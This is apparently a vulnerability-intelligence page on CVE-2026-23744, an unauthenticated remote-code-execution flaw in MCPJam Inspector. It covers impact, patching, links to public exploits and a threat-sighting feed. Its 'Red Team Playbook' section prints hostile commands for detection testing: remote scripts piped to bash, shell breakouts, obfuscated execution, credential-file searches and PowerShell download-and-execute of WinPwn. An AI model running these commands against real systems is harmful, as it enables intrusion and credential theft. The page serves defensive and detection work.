CVE-2026-23744

CRITICAL EXPLOIT POC TTE 3d Pub 16/01 Upd 16/01

Overview

This vulnerability is a remote code execution (RCE) caused by improper access control in MCPJam inspector versions 1.4.2 and earlier. The root cause is that the application listens on all network interfaces (0.0.0.0) by default instead of localhost (127.0.0.1), exposing an HTTP endpoint that triggers the installation of an MCP server without authentication or validation. This allows unauthenticated external users to invoke server installation routines remotely via crafted HTTP requests.

Vulnerability Description

MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. Version 1.4.3 contains a patch.

Impact

An unauthenticated attacker with network access to the MCPJam inspector service can remotely execute arbitrary code by triggering the MCP server installation process. Since the service listens on all interfaces by default, exploitation does not require local access or user interaction. This can lead to full system compromise, data breach, or service disruption. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no privileges or user interaction are needed for exploitation.

Solution

Users should upgrade MCPJam inspector to version 1.4.3 or later, which includes a patch restricting the listening interface to localhost and implements authentication controls. Detailed remediation steps and patch information are available in the official GitHub advisory GHSA-232v-j27c-5pp6 and the associated commit e6b9cf9d9e6c9cbec31493b1bdca3a1255fe3e7a. No alternative workarounds are documented.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (1)

Vendor Product Version CPE
mcpjam Mcpjam Inspector All cpe:2.3:a:mcpjam:inspector:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
MCPJam Inspector Connect API Command Execution
exploits/multi/http/mcpjam_inspector_rce
Louay-075, earthenvessel Unknown - View

ExploitDB (1)

Title Author Type Platform Date Link
MCPJam Inspector - Remote Code Execution Diamorphine webapps multiple - View

GitHub PoCs (52)

Repository Author Stars Forks Date Link
boroeurnprach/CVE-2026-23744-PoC
CVE-2026-23744 - Versions 1.4.2 and earlier of MCPJam inspector are vulnerable to remote code execution (RCE). Because t...
boroeurnprach 12 2 2026-01-20 View
suljov/CVE-2026-23744-Remote-Code-Execution-POC
MCPJam inspector contains a remote code execution
suljov 12 1 2026-03-21 View
ibreakthingsforaliving/CVE-2026-23744-PoC
CVE-2026-23744 - Versions 1.4.2 and earlier of MCPJam inspector are vulnerable to remote code execution (RCE). Because t...
ibreakthingsforaliving 8 2 2026-01-20 View
CerberusMrXi/CVE-2026-23744-MCPJam-Exploit
A proof-of-concept exploit for CVE-2026-23744 - MCPJam Inspector Remote Code Execution (RCE) vulnerability. This tool de...
CerberusMrXi 6 1 2026-07-14 View
thisisish/HTB-DevHub
CVE-2026-23744 RCE + Privilege Escalation
thisisish 4 0 2026-05-31 View
luiskrnr/exploit-CVE-2026-23744
MCPJam Inspector is a local-first development platform for MCP servers. In versions 1.4.2 (and earlier), a RCE flaw lets...
luiskrnr 4 0 2026-04-10 View
FrenzisRed/CVE-2026-23744
CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept (POC
FrenzisRed 4 0 2026-03-23 View
Mluex0/CVE-2026-23744-PoC
CVE-2026-23744 is an unauthenticated command injection in MCPJam Inspector ≤1.4.2 via /api/mcp/connect. This POC exploit...
Mluex0 3 0 2026-08-10 View
wvverez/CVE-2026-23744
exploit para reverse shell en MCPJamInspector v1.4.2< por endpoint mal configurado
wvverez 1 0 2026-09-17 View
ozcanpng/CVE-2026-23744
CVE-2026-23744 MCPJam Inspector unauthenticated RCE PoC
ozcanpng 1 0 2026-07-11 View
rohit-sundar/cve-2026-23744
rohit-sundar 1 0 2026-06-14 View
alisster00/CVE-2026-23744-RCE
This utility was created during research involving MCPJam v1.4.2. The application exposes an API endpoint that accepts a...
alisster00 1 0 2026-06-02 View
SrGinebras/CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
SrGinebras 1 0 2026-05-31 View
SuriyaBoon/DevHub-HackTheBox-ss11
HTB Season 11 — DevHub Writeup Exploiting CVE-2026-23744 (MCPJam Inspector unauthenticated RCE via /api/mcp/connect) to...
SuriyaBoon 1 0 2026-05-30 View
yassertioursi/htb-kobold-writeup
Hack The Box — Kobold writeup. Exploiting CVE-2026-23744 (MCPJam Inspector unauthenticated RCE) to gain initial access a...
yassertioursi 1 0 2026-03-25 View
0xg00se/CVE-2026-23744-script
Exploit script for CVE-2026-23744
0xg00se 1 0 2026-03-27 View
ctzisme/CVE-2026-23744
PoC for CVE-2026-23744, demonstrating an unauthenticated RCE in MCPJam Inspector (<= 1.4.2).
ctzisme 1 0 2026-03-26 View
InzegoSec/CVE-2026-23744
Exploit to MCPJam Inspector <=1.4.2
InzegoSec 1 0 2026-03-24 View
01xJB/CVE-2026-23744-POC
MCPJam Inspector Remote Code Execution
01xJB 0 0 2026-10-07 View
0xSoulaimane/CVE-2026-23744-POC
CVE-2026-23744 — Proof of concept exploit for an unauthenticated Remote Code Execution vulnerability in MCPJam Inspector...
0xSoulaimane 0 0 2026-05-31 View
itsC1SCO/mcpjam-to-root
From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab token disclosure, kernel execution, and OPSMCP privilege ...
itsC1SCO 0 0 2026-08-23 View
sonnelon/CVE-2026-23744-PoC
The poc of CVE-2026-23744
sonnelon 0 0 2026-08-10 View
nullRoot-Red/CVE-2026-23744
Proof-of-concept and offensive security research analyzing CVE-2026-23744 (MCPJam Inspector Unauthenticated RCE, Patched...
nullRoot-Red 0 0 2026-07-23 View
0x77FSec/CVE-2026-23744
0x77FSec 0 0 2026-07-10 View
diamorphine666/CVE-2026-23744-exploit
Exploit for MCPJam Inspector - Remote Code Execution (CVE-2026-23744)
diamorphine666 0 0 2026-07-04 View
timgad794/DevHub-HTB-Walkthrough
Hack The Box - DevHub Machine Walkthrough (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escal...
timgad794 0 0 2026-06-28 View
daemoncibsec/mcpExec
POC for CVE-2026-23744 for a python revshell
daemoncibsec 0 0 2026-06-22 View
kennedy-aikohi/mcpjam-cve-2026-23744-validator
kennedy-aikohi 0 0 2026-06-09 View
oryk0/CVE-2026-23744
CVE-2026-23744 Reverse shell
oryk0 0 0 2026-06-06 View
keeieb79/CVE-2026-23744-poc
cve-2026-23744 python exploit
keeieb79 0 0 2026-06-05 View
Dahalsamir/CVE-2026-23744-MCPJAM-RCE-exploit
This Python proof-of-concept targets a vulnerable MCP (Model Context Protocol) service exposed by the target application...
Dahalsamir 0 0 2026-06-05 View
avivyap/CVE-2026-23744
CVE-2026-23744
avivyap 0 0 2026-06-04 View
jf-gondim/mcp-pwn
PoC exploit for CVE-2026-23744 — unauthenticated RCE in MCPJam Inspector via unvalidated serverConfig command injection ...
jf-gondim 0 0 2026-06-03 View
MrR0b0t19/CVE-2026-23744-PoC
MrR0b0t19 0 0 2026-06-02 View
TYehan/CVE-2026-23744
Proof of Concept exploit for CVE-2026-23744: Remote Code Execution vulnerability in MCPJam Inspector <= 1.4.2
TYehan 0 0 2026-06-02 View
m2sousa/CVE-2026-23744
CVE-2026-23744 Proof-of-concept. MCPJam Inspector ≤1.4.2 is vulnerable to RCE via crafted HTTP requests that trigger mal...
m2sousa 0 0 2026-06-02 View
afifudinmtop/MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
afifudinmtop 0 0 2026-06-01 View
Least-Significant-Bit/CVE-2026-23744
Remote Code Execution in MCPJam 1.4.2 and older
Least-Significant-Bit 0 0 2026-05-31 View
sbouabid-sec/CVE-2026-23744-POC
CVE-2026-23744 — Proof of concept exploit for an unauthenticated Remote Code Execution vulnerability in MCPJam Inspector...
sbouabid-sec 0 0 2026-05-31 View
p1ctur3p3rf3ct/CVE-2026-23744
CVE-2026-23744 PoC
p1ctur3p3rf3ct 0 0 2026-05-31 View
w3nch/CVE-2026-23744
CVE-2026-23744 - Versions 1.4.2 and earlier of MCPJam inspector
w3nch 0 0 2026-05-30 View
ledksv/kobold
Kobold — HackTheBox Medium writeup: CVE-2026-23744, PrivateBin LFI, Docker group escape to root
ledksv 0 0 2026-05-10 View
d0x-awrqxavc/CVE-2026-23744
d0x-awrqxavc 0 0 2026-03-28 View
H1sok444/CVE-2026-23744-PoC
H1sok444 0 0 2026-03-22 View
z4yd3/PoC-CVE-2026-23744
Remote Code Execution on MCPJam Inspector <= 1.4.2
z4yd3 0 0 2026-03-25 View
rootdirective-sec/CVE-2026-23744-Lab
rootdirective-sec 0 0 2026-02-16 View
fckoo/mcpjaminspector-unauth-rce
CVE-2026-23744 RCE in MCPJam inspector <= 1.4.2
fckoo 0 0 2026-03-22 View
d0x-awrqxavc/CVE-2026-23744-HACKTHEBOX
d0x-awrqxavc 0 0 2026-03-28 View
AhmadF77/CVE-2026-23744
python script for exploiting CVE-2026-23744
AhmadF77 0 0 2026-03-27 View
fcjaviergarcia/CVE-2026-23744-POC
Proof of Concept (PoC) exploit for CVE-2026-23744, a vulnerability affecting MCPJam Inspector that allows remote command...
fcjaviergarcia 0 0 2026-03-27 View
d3vn0mi/CVE-2026-23744-POC
Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (d...
d3vn0mi 0 0 2026-03-28 View
CyLock11/CVE-2026-23744
CVE-2026-23744 - MCP Connect RCE via Unauthenticated Command Injection
CyLock11 0 0 2026-03-29 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest HIGH
Sightings Considerable activity

Threat Feed

33 events
2026-10-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-01-20
PoC Published (52 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-01-16
Exploit Published (1 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Detected as Exploited in the Wild (37 sightings)

Active exploitation confirmed with 37 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
83% rce
Code Injection
69% code_injection
Authentication Bypass
48% auth_bypass
OS Command Injection
45% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-166 Force the System to Reset Values
70%
— Medium
CAPEC-12 Choosing Message Identifier
30%
High High
CAPEC-216 Communication Channel Manipulation
30%
— —
CAPEC-36 Using Unpublished Interfaces or Functionality
30%
Medium High
CAPEC-62 Cross Site Request Forgery
30%
High Very High

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
